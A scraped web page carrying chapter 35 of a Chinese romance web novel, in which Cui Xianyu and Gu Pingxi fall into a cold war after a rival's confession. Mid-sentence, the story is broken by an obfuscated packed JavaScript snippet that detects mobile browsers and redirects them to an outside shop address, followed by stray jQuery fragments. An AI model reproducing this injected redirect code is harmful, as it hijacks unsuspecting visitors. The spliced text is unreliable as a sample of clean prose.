默认冷灰
24号文字
方正启体

35. 冷战

作者:宜兔宜家本书字数:K更新时间:
    被甩开的一瞬间,谢默打了个激灵,好像终于清醒过来,难以置信地吸了口冷气。


    天呐,他刚刚说了什么鬼话?!


    他怎么能这么无礼,这么低劣,这么粗鲁!


    谢默感到一丝绝望,脑袋竟沉重地抬不起来,再也不敢直视崔羡鱼的眼睛。他唯一能做的,就是拼凑着这具身体里为数不多的勇气,颤抖着道歉。


    可是对方似乎根本没听见。


    崔羡鱼只留下决绝和慌乱的背影,窈窕的身影在空气中晃出迷蒙的光晕。于是,谢默的那句“对不起”像夏季的风一样悄无声息地溜走了。他站在灯光下,影子被拉的很长,长得无边无际,长得寂寞不已。那一瞬间,他的酒突然醒了。


    “嘭”地一声闷响,车门被人打开,又关上。


    少年被月光推了一把,慌不择路地逃走。


    ……


    到了车上,崔羡鱼下意识要解释,顾平西拦住了她的话,平静地问她晚饭想吃什么。


    她好似被掐住了脖子,好一会儿,才开口:“顾平西。”


    “嗯?”


    “你怎么了?”


    男人平稳地开着车,缓缓驶出校园,神情像是一抹被刮平的墙面。


    “我很好。”


    崔羡鱼看着那张坚不可摧的假面,心跳如雷,一股莫名的不安慑住心魂。她突然觉得自己离他很远——酒会那晚,他们闹得面红耳赤都没有这种感觉。但凡是此时此刻,他们宁静地坐在车内,一臂之隔,却仿佛离了十万八千里。


    他为什么没有表情?不生气?不嫉妒?也不问她为什么。


    “谢默他只是……”


    “我都听到了,崔羡鱼。”顾平西淡淡道:“从他说他爱了你十年开始,全都一清二楚地听见了。只是你们太投入,没有看到我。”


    崔羡鱼的目光在空气中无处停脚,她呼吸了几下,才找回自己的声音:“那你现在,生气了?”


    遇到一个红灯,车子稳稳停下,两个人的身子都被惯性推得晃了晃。


    男人侧过头,看向她,目光带着几分漠然:“你希望我怎样?”


    崔羡鱼瞪大了眼睛:“什么意思?你刚刚都听到了,难道不在意他的话吗?”


    “我不是你的丈夫,崔羡鱼,”他的唇边略微浮现出些许冰冷砭骨的笑意,像一把薄薄的匕首切进了她的骨关节:“我没有立场做出你期望的任何反应。”


    换句话说,他和谢默的立场有何不同?他甚至没有谢默的勇气,无法那么坦然地说“我不介意名分,哪怕当你的情人”。该死的道德感几乎要将他撕碎了。


    这些天饮鸠止渴,他一分一秒都没有停止过对自己的唾弃,此时那些唾弃终于将他整个人撕碎了,他看到了谢默丑陋的爱,发现自己的爱也同样上不得台面。


    所以,他又有什么资格来嫉妒?又有什么立场让谢默离她远些?


    她名义上的丈夫只有那位林家的少爷,他和谢默都是罪恶滔天。


    崔羡鱼完全没意料到他会这么说,甚至反应了好一会儿,才明白他的意思。


    “你和小默不一样。顾平西,我对他没有任何感觉。”


    “我不是你的丈夫,也不是你的男朋友,崔羡鱼,”绿灯了,顾平西发动车子,声音一字一顿:“你不用和你的情夫解释这些。当然,硬要为我考虑的话,下次最好不要当着我的面,我不喜欢竞争上岗。也不要让我闻到你身上有别人的味道。”


    顿了顿,他又补充了一句:“我有洁癖。”


    这句话彻底将崔羡鱼点燃,她突然发现一条深不见底又鲜血淋漓的沟壑。这条沟壑一直都在,一直都在!只是她忽视了,她得意忘形,以为在床上拥有了他,搬到了他家里,他们就能重回五年前。


    但是现实狠狠甩了她一巴掌,顾平西是怎样高傲的人?他折下这颗头颅,却依旧不肯放过自己,也不肯放过她!他心中始终芥蒂,始终在折磨自己——为这份感情感到羞耻,为亲吻她、和她做/爱感到羞耻,为他们见不得光的感情感到羞耻。


    原来如此,原来如此,那种怪异的疏远感都解释得通了——难为他屈尊降贵,所有的亲吻与缠绵原来全是错觉。


    她的心好似在滴血,比那日他要掏出手机和林越坦白时更痛。因为他让她感到陌生,他们分开的这五年,彼此已经是彻头彻尾的陌生模样,她一直以来的痴心妄想碎得一干二净。再也回不去了,他们再回不去了!


    眼底顿时一片酸涩,却干枯得挤不出一丝泪来。她脱力般看向窗外,一个故作平静的男人和一个极力强求的女人。他们共在一辆车上,他们在这段爱里饱受折磨,他们都不肯放手,却又不肯让彼此好过。


    突然间,她笑了,笑得浑身都发抖。顾平西看了她一眼,她红着眼睛,唇角勾起一抹疯狂而又诡异的弧度,轻声道:“你这样伤害我会让你自己好受些吗?顾平西,我死也不会和你分开的。”


    顾平西也笑了,像是痛极反笑,这种万箭簇心的感觉竟然有几分痛快。


    窗外的夜色如坟墓般冰冷,被隔绝在车窗外。


    他说:“好。那就不死不休。”


    ……


    冷战悄无声息地开始了。这是他们相遇之后的第一场冷战。


    那个周五的晚上他们什么也没做,彼此背对着睁眼到天亮。周末的两天也完全视对方为无物,明明生活在同一个屋檐下,却生硬而刻意地假装对方不存在,连睡觉都睡在边缘,生怕触碰到彼此的身体。


    同床异梦,不过如此。


    崔羡鱼察觉到他们的关系像是一层薄冰般摇摇欲坠,布满裂痕。她每呼吸一次,裂痕似乎都会加重,如此脆弱不堪。


    本以为等到年底就好,年底她会和林越彻底结束这场虚假的婚姻,她可以把他再追回来。但是现在看来,她已经没有多少自信。


    五年间到底发生了什么,才让他们地间隙如此之大,他到底遭遇了什么?他究竟有多恨她?


    如果不弄清这些,这道鲜血淋漓的沟壑会一直


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16591787|185838||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    存在。昔日美好的回忆和爱会被慢慢消磨殆尽,这是她绝对不愿看到的结果。


    如此压抑地过了周末,公寓内的气氛像是结了一层厚厚的冰,除了一些必须的对话,其余时间都是各自沉默。


    到了周日傍晚,崔羡鱼在厨房给自己做咖啡,听到玄关的动静,出来瞄了一眼。


    顾平西西装革履、穿戴整齐地打算出门。崔羡鱼愣了愣:“你要出门?”


    “开会。”


    “什么时候回?”


    他提着一只小行李箱,看起来像是要出远门。果然,顾平西说:“后天。是兴市的一个学术会议。”


    兴市在海城附近,高铁大概一个小时。是场短途差旅。


    “怎么也不跟我说一声?”她捧着凉冰冰的咖啡,心里泛着一丝同样的凉意。


    顾平西淡淡道:“抱歉,忘了。”


    想起来的时候,高铁还有三个小时发车,差旅APP给他发了提示弹窗,他才记起出差的事。


    但是记起来又怎样?这两天,他们几乎没有说一句话。他们都需要时间来让自己冷静。


    顾平西觉得这是个很好的冷静机会,索性自顾自地收拾好行李,打算出门。但崔羡鱼的反应让他有些迟疑,她端着咖啡出来,表情有些难过。


    她是个敏感的人。


    她可能确实爱他,但身边永远有数不清的莺莺燕燕,他算什么?算一个见不得光的情人,他不计较,只是做到了为人情夫的本分。


    这不是很好吗?他不是很尽责吗?为什么她会那么受伤呢?


    再说,她也曾一声不吭丢下他五年!


    顾平西想到这里,心脏一阵尖锐的刺痛,匆匆把鞋子码好,转身便推门离开。


    “嘭”地一声,大门从外关上,公寓顿时空旷得了无人烟。崔羡鱼像是站在沙漠的正中央,浩渺的寂寞像碎沙一般将她淹没。


    过了几秒钟,她抬腿跑去客厅,爬在落地窗上往下看。看了好几分钟,始终没看到顾平西离开的背影,她后知后觉的反应过来,电梯直达地下车库,他估计直接开车离开了。


    有时候他们两个人还挺像的,伤害对方的手段都一摸一样,只是她更狠一点,离开了五年,他只离开两天三夜而已。


    那个晚上崔羡鱼没有睡好。尽管她睡在两个人的大床上,依旧觉得很寂寞。睡到一半醒来,她去厨房接水喝,客厅的电子表显示是凌晨两点钟。


    喝完水,她回到卧室,打开顾平西的衣柜。衣柜现在被她霸占了一半,顾平西又拿走了两套衣服,因此他的衣服更少了。她抽出一件他常穿的衬衣,抱在怀里,挪到床上。


    他的枕头、他的衬衣全都有他的味道。崔羡鱼把衬衣和枕头一起抱在怀中,脸颊埋进去,让那好闻的薄荷香味包裹着她的全身,她才有几份安全感。


    但还不满足。


    漫漫长夜,空旷的沙漠中央。


    他们这周什么都没做。


    没有拥抱,没有接吻,也没有好好地相爱。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)